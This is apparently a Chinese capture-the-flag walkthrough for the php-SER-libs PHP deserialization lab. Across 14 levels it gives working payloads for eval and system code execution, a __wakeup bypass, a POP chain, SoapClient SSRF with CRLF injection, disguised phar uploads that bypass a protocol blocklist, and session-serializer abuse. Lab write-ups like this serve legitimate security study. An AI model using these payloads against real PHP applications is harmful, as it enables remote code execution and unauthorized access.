php-SER-libs-main反序列化靶场通关详细思路

2023-11-07

目录

说明

第一关----基础序列化

第二关----__construct与__destruct

第三关----cookie传参

第四关----create_fucntion

第五关----__wakeup

第六关----私有属性

第七关----__call

 第八关----增量逃逸

第九关----pop链构造

第十关----原生类反序列化soap

第十一关----phar反序列化

第十二关----phar黑名单绕过

第十三关----session可控时

第十四关----session不可控时

感谢


说明

首先是先清楚靶场的php版本

第一关----基础序列化

<?php
highlight_file(__FILE__);
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=unserialize($_GET['flag']);
$a->action();
?> 

一个很基础的反序列过程

对输入的flag进行反序列化,再调用action的方法

然后解释eval任意执行

第二关----__construct与__destruct

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_GET['param']);
if($a->login())
{
    echo $flag;
}
?>  

 这里出现的了一个魔术方法__construct

__construct : 在创建对象时候初始化对象。

__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值

或者在对象被销毁的时候触发 

 当我们序列化时使用new函数实例化类的时候就会触发

 

第三关----cookie传参

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
    echo $flag;
}
?>

本关于对比上一关只是传参形式不同,只是换成用cookie传

也可以用抓包修改cookie 

第四关----create_fucntion

本关涉及到create_fucntion方法要变换php版本,可以使用phpstudy 2018--php 7. 1.13

<?php 
highlight_file(__FILE__);
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET['param']);

?> 

 本题进行反序列化后就没有操作了,但出现方法__destruct

会在反序列化后触发到该方法处,而该方法又是对key进行反序列化

这里还用到一个php特性------Array

当array内包裹的第一个值是对象,第二个是对象内的方法时

在反序列化后会调用该对象的方法

 所以就可以利用这个特性调用到getflag这个方法,至于如何读取到flag就要用到前面说的create_fucntion

class GetFlag
{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}

这里写

<?php
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

action是写入create_function为下面创造方法

code是为了闭合方法再进行文件包含读取flag

 

第五关----__wakeup

 本关版本调为5.5.38

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?> 

这里在secret中有三个方法,其中_wakeup

当__wakeup() 反序列化恢复对象之前调用该方法

但在该版本下存在一个绕过该方法的漏洞CVE-2016-7124

在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup

另外

该代码还对传入的参数进行了正则匹配

 也就算是出现

o:数字  或者   c:数字

就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
        echo $flag;
    }

    function __destruct(){
        include_once($this->file);
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$pa=new secret('flag.php');
echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
echo $cmd;
?>

 

第六关----私有属性

<?php
highlight_file(__FILE__);
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?> 

 本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性

private属性序列化的时候格式是 %00类名%00成员名

所以要用\00代替%00实现绕过

payload生成 

<?php
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
} 
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";

 生成

O:6:"secret":1:{s:12:"secretcomm";s:24:"system('sort flag.php');";}

 这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S

与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。

O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}


第七关----__call

<?php
highlight_file(__FILE__);
class you
{
    private $body;
    private $pro='';
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a=$_GET['a'];
unserialize($a);
?> 

在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project

说明body应该是一个类且project是指要调用该类内的方法

另外有一个魔术方法__call

__call :当调用对象中不存在的方法会自动调用该方法

 若要触发该方法则要利用好body调用project方法的条件

这里先是要把my类实例化到body中,而project要是my中不存在的方法,理应随便赋值但是在触发__call后call需要输入两个参数,name可以自行赋值,但是func就要在触发时就有参数,所以在给project赋值的时候应该赋参数这样在call触发后会把该不存在的方法名直接以参数的形式传入__call方法中

 所以赋值给project的就是yourname

这就可以解释答案的代码了

<?php
class you
{
    private $body;
    private $pro;
    function __construct(){
        $this->body=new my();
        $this->pro='yourname';
    }
    function __destruct()
    {
        $project=$this->pro;   //yourname
        $this->body->$project();
    }
}

class my
{
    public $name='myname';

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}

最终payload

O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}


 第八关----增量逃逸

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?> 

本题分析,对传入的参数进行替换(这里看到flag和php替换以为是正则匹配绕过,但实际上与这个无关)

test类中有魔术方法对user这个变量进行赋值,之后就是对pass进行判断是否为escaping若是则返回flag

一开始以为改一下pass的值就可以了,但没有那么简单

由反序列化的过程可以知道,我们可以控制的只是属性,即使我们修改了pass的值在反序列化后执行代码中

class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

还是会对pass初始化,所以不能单纯的想

这里实践是在考察增量逃逸

 增量逃逸其实是利用了序列化与反序列化的属性个数检查差异实现

class test{
    var $user='aaa";s:4:"aaaa";}';
    function __construct($user){
        $this->user=$user;
    }
}

如上面的test类,在序列化后是

O:4:test:2:{s:4:"user";s:17:"aaa";s:4:"aaaa";}";s:4:"pass";}          //红色为区分双引号

 可以看到,user中存在;}应该会像sql注入那样闭合前面的{但在序列化中是不会闭合的

在序列化中不行,在反序列化中则可以闭合{

但如果用上面的语句去反序列化在与到;}后就会停止然后对每个属性的个数数值进行检查,如果与实际的不一样则会报错,像上面数值是17但实际上双引号内的只有aaa三个数,就缺少了14个数两者不等就会报错

我们为篡改闭合后面的pass为aaaa就不能使其报错,哪用什么方法来让个数与实际相等呢?

这里就要用到前面说的替换了

$safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);

这里的作用看似在过滤,但实际上是在检测到php(不能是flag)后换成hack由3个数变到4个就增加1个了,由此我们就可以利用这个增长的个数去弥补前面闭合后缺少的个数

每给php增1个,需要增14个就写入14个php,序列化后:

 O:4:test:2:{s:4:"user";s:17:"phpphp....php";s:4:"aaaa";}";s:4:"pass";} 

 这样在反序列化中检查时就满足数值与实际个数相等就不会报错,进而实现对pass的篡改

总的来说,增量逃逸就是利用代码中的替换使得前后个数存在差异实现的

由此可以推测减量逃逸也是一样方法

补充:所谓的逃逸内容就是要修改的内容 

至此我们就可以利用增量逃逸来修改pass的内容

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
//$a=new test('1');  O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
//逃逸内容:
//";s:4:"pass";s:8:"escaping";}
//计算需要链:
//phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
$param=serialize($a);
echo $param,"\n";

$profile=unserialize(filter($param));
echo $profile->pass,"\n";
if ($profile->pass=='escaping'){
    echo 1;
}
?>

最终payload

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}


第九关----pop链构造

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

 这里出现很多的魔术方法

__invoke()    当一个类被当作函数执行时调用此方法。
 
__construct   在创建对象时调用此方法
 
__toString()  在一个类被当作字符串处理时调用此方法
 
__wakeup()    当反序列化恢复成对象时调用此方法
 
__get()       当读取不可访问或不存在的属性的值会被调用

具体可以看:

(2条消息) 反序列化之魔术方法的浅学习_反序列化魔术方法_quan9i的博客-CSDN博客

 这里就是要构造pop链,构造链先找到头和尾

头如果不好找就先从尾溯头,尾很明显是incude的文件包含的函数,所在的方法append上一个是由__invoke调用的

能触发__invoke的方法就观察有能调用的方法的地方,可发现__get方法内可以调用函数

而能触发__get方法的地方就要找可以读取属性的地方,可发现__tostring内可读取属性

而能够触发__tostring的地方也就只有show这个类(即本方法所在类)

这就要将show类以字符串的形式赋值给自己(show类)的source属性

至此就找到头的位置即show类

所以得出下面的答案:

<?php
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;    //这是个调用函数p的方式
        return $function();
    }
}
$a=new Modifier();
$b=new show();
$c=new Test();

$b->source=$b;  //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke

echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
?>

最终payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

 pop链的构造可参考:

php反序列化之pop链构造_php反序列化pop链_XiLitter的博客-CSDN博客

其次是:

PHP之序列化与反序列化(POP链篇)_php反序列化pop链_errorr0的博客-CSDN博客


第十关----原生类反序列化soap

本关需要开启soap拓展且php版本在5.6

找到配置文件 php-ini

 开始分析题目

 本题中,当然可以将参数直接传递给flag.php,但不建议使用此方法来学习SOAP。

既然本题是要考察soap就要先了解什么是soap

(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

浅析php反序列化原生类的利用_php反序列化利用原生类_Christ1na的博客-CSDN博客

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换

本题就是要构造ssrf

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。 

 还要利用crlf注入漏洞(\r\n)

CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

 本题要求post发送数据包需要将Content-Type设置为application/x-www-form-urlencoded

<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);//将^^改为\r\n
$b = str_replace('&','&',$b);
echo urlencode($b);

location处实现的是将原Content-Type挤下去再写入post传参的Content-Type在Content-Length之后用两次\r\n原来的Content-Type被挤到post传参的部分(因为HTTP报文的结构:状态行和首部中的每行以CRLF(\r\n)结束,首部与主体(本题就是post的传递内容)之间由一空行分隔。)同post_data一起被post

最后在终端运行该代码

 

 直接访问flag.txt


第十一关----phar反序列化

php.ini中改成phar.readonly=Off(若有分号则去掉)  

本题还有一个缺陷,在本文件中的leve11文件内要新建一个名为upload的文件夹

<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo is_dir($filename);
} 

 分析代码得得知:

题目给了一个post的file可以控参数

现在是没有unserialize()函数来反序列化

这里就需要用到phar文件来实现反序列化

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启

这里参考这篇博客:

Phar反序列化漏洞的应用介绍 (qq.com)

PHP反序列化漏洞(最全面最详细有例题)_php反序列化漏洞cve_Harder.的博客-CSDN博客

运用phar文件上传再利用phar伪协议调用上面的TestObject

首先就是要生成一个phar文件

<?php
class TestObject {
}

@unlink("phar1.phar");
$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//GIF89a是增加gif文件头,伪造文件类型
$o = new TestObject();//自定义的meta-data内容,本题是为了调用TestObject类所以要实例化
$phar->setMetadata($o);//将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加需要压缩的文件
$phar->stopBuffering();//签名自动计算
?>

 生成phar1.phar文件后改成gif格式

 

 回到level11目录直接post进行phar伪协议

伪协议可参考这篇博客:

ctf-web:PHP伪协议 - 学安全的小白 - 博客园 (cnblogs.com)

其次是

(1条消息) 文件包含之——phar伪协议_phar协议_西蛤一扎ミ(・・)ミ的博客-CSDN博客

 file=phar://upload/生成的压缩文件/被压缩的原文件

上传的payload为:

file=phar://upload/phar1.gif/test.txt

 对phar的学习还参考了:

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

php反序列化完整总结 - 先知社区 (aliyun.com)


第十二关----phar黑名单绕过

<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
//黑名单过滤
foreach($black_list as $item){
    $front=substr($filename,0,strlen($item));
    if ($front==$item){
        $boo1=0;
    }
}
if (isset($filename) and $boo1){
    echo md5_file($filename);
}
//upload.php
?> 

与上一关类似,本关多了对post的过滤

正常的phar伪协议是不行的

当phar被过滤的情况下可以使用下列协议实现绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

 由于黑名单上有zip和php所以使用的payload为:

compress.zlib://phar://upload/test.gif/test.txt

 本题在phar:后是//而不是///但参考别的师傅的博客都是///这里不知道为什么


第十三关----session可控时

客户端session:

客户端 session 导致的安全问题 | 离别歌 (leavesongs.com) 

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->name=$this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}
?> 

在hint中

 <?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?> 

在index.php中就一个Flag类中存在一个__wakeup魔术方法

方法内形同虚设,相当于触发了方法直接返回flag

哪触发wakeup需要反序列化,这里没unserialize函数且没有文件上传

但hint中发现对session是可控的且在hint.php下session的引擎格式是php_serialize

默认情况下session处理引擎是php

此外了解一下ini_set这个函数

ini_set设置php.ini指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

 也就是说只有在hint.php下时是对session处理的引擎是php_serialize

其他php文件下还是默认php引擎

这里参考这篇博客:

(3条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客

 中有当不同引擎处理session时会产生漏洞

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string

当在php_serialize的引擎储存格式下创建session然后处理(验证)session时会把"  |  "当成一个正常的字符。而在php引擎储存格式下处理(验证)同一个session的时会把"  |  " 当成键与值的分割符然后对分割符后面的值进行反序列化

所以当我们在自定义session中在序列化语句前加上  然后再访问index.php这时,在index.php下服务器验证session的时候因为是php引擎储存格式,所以会对session中  |  后的内容进行反序列化,从而触发了wakeup魔术方法得到flag

 最终的payload:

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}

在hint.php中GET传入payload

再访问index.php 

总结:

当我们可以控制session时且存在不同引擎储存格式的时候可以利用该漏洞实现反序列化


第十四关----session不可控时

本关需要调试的内容挺多

session.auto_start=0;
session.serialize_handler = php_serialize;
session.upload_progress.enabled = On;
session.upload_progress.cleanup = Off;
session.upload_progress.prefix = "upload_progress_";
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS";<br>session.upload_progress.freq =  "1%";
session.upload_progress.min_freq = "1";

按照上述在php.ini中依次设置好,前面有分号的去掉

 <?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();

class test{
    public $name;
    function __destruct(){
        if($this->name=='flag'){
            include('flag.php');
            echo $flag;
        }
        else{
            phpinfo();
        }
    }
} 

本题与上一题考点大体思路是一样的,只不过上一题的session是可控的可以写入键值,本题不能直接写入,这里要介绍另一个可以控制session建值的方法

主要利用的是session.upload_progress.enabled 当该设置为on 的时候,在向服务器上传任意一个文件的时候php会把该上传文件的详细信息(如上传时间,文件名等)储存在session中,而当我们以POST形式传入名为PHP_SESSION_UPLOAD_PROGRESS的变量时,传入的文件名会被储存到session中(也是filename的值赋值到session中)

 利用这个我们就可以写入恶意序列化语句再利用上一关的原理(引擎储存格式差异)来实现语句的反序列化

在实现反序列化后就会触发__destruct魔术方法从而得到flag

 方法步骤:

1. 构造序列化语句

<?php
class test{
    public $name="flag";
    function __destruct(){
        if($this->name=='flag'){
            include('flag.php');
            echo $flag;
        }
        else{
            phpinfo();
        }
    }
} 
$a=new test();
echo serialize($a);

 2.写一个文件上传的html

创建文本写入代码 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<form id="upload-form" action="http://127.0.0.1/php-SER-libs-main/level14/" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test"/>
        上传文件…
        <input name="file1" type="file" />
        <input type="submit" value="上传"/>
    </form>

改成html尾缀,这里的变量名一定要是PHP_SESSION_UPLOAD_PROGRESS

3.打开html任意上传一个文件并抓包

修改filename为

|O:4:\"test\":1:{s:4:\"name\";s:4:\"flag\";}

 这里的反斜杠是转义filename内容中双引号防止与外部的双引号闭合,前面的竖线则是键与值的分割符

本菜一直有一个疑惑,如果在真正的题目中是要通过phpinfo才能知道session.upload_progress.enabled是否开启,但在这题中如果不通过配置文件又是如何知道已经开启了呢?或者说本题源码也说明触发destruct后变量name不等于flag时会访问phpinfo,但是既然能触发destruct不也就已经知道了session.upload_progress.enabled是开启的了吗?

参考博客:

(1条消息) $_session无法存储变量怎么回事_PHP-Session利用总结_weixin_39716971的博客-CSDN博客

(1条消息) [CTF]PHP反序列化总结_ctf php反序列化_Y4tacker的博客-CSDN博客 

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户 


感谢

感谢博主:这周末在做梦

(1条消息) 这周末在做梦的博客_CSDN博客-原理实验,wp篇,SSRF领域博主

让本菜从靶场中认识到反序列化基础知识

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

php-SER-libs-main反序列化靶场通关详细思路 的相关文章

  • APC 将数据存储在哪里?

    我想用apc store 缓存一些结果 但我需要知道数据将存储在哪里 以及限制是什么 它总是存储在内存中吗 或者也写入磁盘 我希望将不经常访问的数据存储在磁盘上 我应该为此使用不同的缓存系统吗 这就是极限了吗 apc shm size 32
  • cUrl 在本地主机上工作正常,但在服务器上不起作用,仅显示空白页面

    当我在服务器上运行以下代码时 它只显示空白页面并突然停止进一步执行 我还检查了已安装的服务器上的 cUrl 这是我的代码 ftp server ftps server Voorraadtonen link csv ch curl init
  • 如何获取dart中当前和调用函数的名称?

    C has System Reflection MethodBase GetCurrentMethod Name Dart 是否有类似的东西 但返回当前正在运行的函数以及调用当前运行函数的函数的名称的结果 我编写了一个简单的类 它提供当前函
  • WooCommerce |如何删除“缺货”可变价格范围

    我正在开发一个 WooCommerce 网站 该网站包含许多可变产品和用户角色 这些产品和用户角色会动态影响显示的价格 我需要创建一个代码片段 将其添加到我的functions php 文件中 以仅显示库存商品的可变产品价格范围 并根据用户
  • 检查文件是否要上传?代码点火器

    我有一个带有很少输入和一个文件输入的表单 我想检查文件输入是否为空 如果为空则不要尝试上传 如果不是则尝试上传 我尝试过这样的事情 upld file this gt upload gt data if empty upld file Up
  • 参考:什么是变量范围,哪些变量可以从哪里访问以及什么是“未定义变量”错误?

    注意 这是一个处理 PHP 变量作用域的参考问题 请将符合此模式的众多问题中的任何一个作为此问题的重复项关闭 PHP 中的 变量范围 是什么 一个 php 文件中的变量是否可以在另一个 php 文件中访问 为什么我有时会得到 未定义的变量
  • 使用 PHP 读取 cookie

    我正在尝试读取我用 javascript 设置的 cookie 特别是 jQuery Cookie 插件 然后我用 PHP 读取它以将其写入数据库 由于某种原因 cookie 是在页面加载时创建的 但在页面刷新之前并不 存在 这意味着我正在
  • 让浏览器缓存我的动态 PHP 样式表

    我想在 PHP 文件 styles php 中创建一个样式表 以便样式表变得动态 具体取决于请求的用户 对于每个单独的用户来说 样式表是不变的 因此应该缓存在他的客户端浏览器上 我读过 您可以通过设置内容类型和缓存控制等标头来实现此目的 但
  • 无法发送任何电子邮件

    我不断收到错误消息 warning mail a href function mail function mail a Failed to connect to mailserver at quot localhost quot port
  • 用于 Eclipse PDT 的 Zend 框架插件

    我安装了 eclipse PDT IDE 版本 1 2 0 我将它与 Dojo 一起使用来开发非常有趣的 Ajax 应用程序 现在我想在我的 eclipse IDE 中启用 Zend 框架 我怎样才能做到这一点 经过一番谷歌搜索后 我尝试了
  • HTML 实体到 PHP 中的普通字符串

    我有一个 PHP 中包含 HTML 实体的字符串 在 html 源中我可以看到 html 实体 但在输出中我的字符串没有 html 实体 like HTML 源代码 a href google com Me nbsp You a 我该如何更
  • 为什么使用 mysql_real_escape_string,addslashes 不会阻止一切?

    我正在查看文档并偶然发现了 mysql real escape string 我不明白为什么当您可以只使用addslashes 时它很有用 有人可以向我展示一个场景来说明它为什么有用吗 我也很好奇为什么它需要数据库连接 这似乎是一个很大的开
  • 当我刷新页面时,错误显示:“无法对表达式的结果使用 isset()(您可以使用“null!==表达式”代替)”

    有人可以帮助我解决这个问题 该问题指出 Fatal error Cannot use isset on the result of an expression you can not use isset on the result of a
  • 在 PHP 中设置 X-Frame-Options

    如何在我的 PHP 代码中设置 X Frame Options 以便它出现在我的服务器的所有网页中 基本上 我试图避免 iframe 加载我的网络应用程序 在您的 php 文件中使用以下内容 该文件将响应输出到客户端 header X Fr
  • 如何在 Zend 中使用 cookie?

    如何使用 Zend Http Cookie 来设置和读取 cookie 我尝试像这样设置cookie cookie new Zend Http Cookie TestCookie TestValue localhost com 但没有生成c
  • 正则表达式 - 从字符串末尾搜索

    我如何从字符串末尾定位某些内容 complexthing 50 other 50 MORE 50 我想以 50 结尾 但是这个 复杂的东西 可以以 结尾 所以在这种情况下 我不能在 处打断 因为乞求可能会让它感到困惑 所以对我来说最简单的正
  • 在 Codeigniter 中显示来自连接的数据

    我正在使用简单的联接从两个数据库中提取数据 这是模型中的连接 function com control this gt db gt select this gt db gt from comments this gt db gt join
  • R 语言与 php 集成以获取 R 的结果

    我有以下 R 脚本 assign data path data path lt C Users Owner Desktop R work assign valus to the following three percent train p
  • 参考指南:这个符号在PHP中是什么意思? (PHP 语法)

    这是什么 这是关于 PHP 语法时不时出现的问题的集合 这也是一个社区 Wiki 因此邀请每个人参与维护此列表 为什么是这样 过去很难找到有关运算符和其他语法标记的问题 主要思想是提供 Stack Overflow 上现有问题的链接 这样我
  • Paypal Rest API - 来自批准 URL 的令牌生命周期

    我使用 Paypal Rest API 我的问题是 有多长token来自批准 URL 有效吗 我想将此令牌 也包含我的令牌 存储到数据库并生成带有我的令牌的链接 稍后 如果我单击此链接 将我的令牌替换为 paypal 令牌 我想重定向到 p

随机推荐

  • Shell--基础--08--echo命令

    Shell 基础 08 echo命令 1 介绍 用于字符串的输出 格式如下 echo string 2 显示普通字符串 root zhoufei echo aaa bbb aaa bbb root zhoufei 双引号可以省略 root
  • Node事件环 JS单线程 阻塞与非阻塞

    NodeJS 1 基于Chrome V8引擎的JS运行环境 2 让JS能运行在服务端 3 Node运行环境只包含JS中的ES部分 Node模块和NodeAPI 4 事件驱动 事件完成通知 异步 5 非阻塞式I O 异步的输入输出 6 外部依
  • 虚拟机装的linux,打开终端后无法使用ifconfig命令查看ip地址

    先在root用户下setup 然后选择里面的network configure那一个选项 按空格选中第一行 中的内容 保存在退出 重启
  • Depth Peeling浅析

    详情见 Interactive Order Independent Transparency 概述 利用shadowmap技术实现不计算折射的透明度渲染 1 对不同的层利用shadowmap渲染 Layer 0 Layer 1 Layer
  • 如何dump SKP,SKP抓取

    1 如何dump SKP 我们知道绘制的操作 主要都是在SkiaPipline renderframe中进行的 frameworks base libs hwui pipeline skia SkiaPipeline cpp 429 voi
  • glog/log_severity.h :找不到

    vs2017添加了GLOG NO ABBREVIATED SEVERITIES还是没用 后来去githup问题中也没找到 问题解决 cmake是默认的 不在build的头文件 src下面 干 把他copy到你项目的include下面就好了
  • el-upload上传图片以后获取图片的宽、高、大小、名字。。。

    template
  • Windows7 64位下vs2008配置OpenCV2.3.1

    1 下载OpenCV2 3 1 http www opencv org cn index php Download 2 下载后解压缩 OpenCV 2 3 1 win superpack exe 生成一个opencv文件夹 3 下载CMak
  • Shell信号发送与捕捉

    9 1 Linux信号类型 信号 Signal 信号是在软件层次上对中断机制的一种模拟 通过给一个进程发送信号 执行相应的处理函数 进程可以通过三种方式来响应一个信号 1 忽略信号 即对信号不做任何处理 其中有两个信号不能忽略 SIGKIL
  • 转载:WebSocket 原理介绍及服务器搭建

    文章非原创 转载自 http blog csdn net yl02520 article WebSocket 1 WebSocket API简介 WebSocket是html5新增加的一种通信协议 目前流行的浏览器都支持这个协议 例如Chr
  • 如何修改Tomcat端口号

    1 首先需要了解Tomcat默认的端口号是 8080 2 点击进入 Tomcat 目录下的 conf 目录 找到 server xml 配置文件并打开 3 找到Connector标签 修改port属性为你想要的端口号 端口号范围 1 655
  • 第零课 python与pycharm的安装

    首先安装anaconda 安装好Anaconda之后创建一个python环境 然后安装pycharm 在Pycharm中选择好Anaconda中创建的环境 这样就完成了程序环境的安装与配置
  • 在 Visual Studio 中使用 Qt 开发桌面应用的环境配置

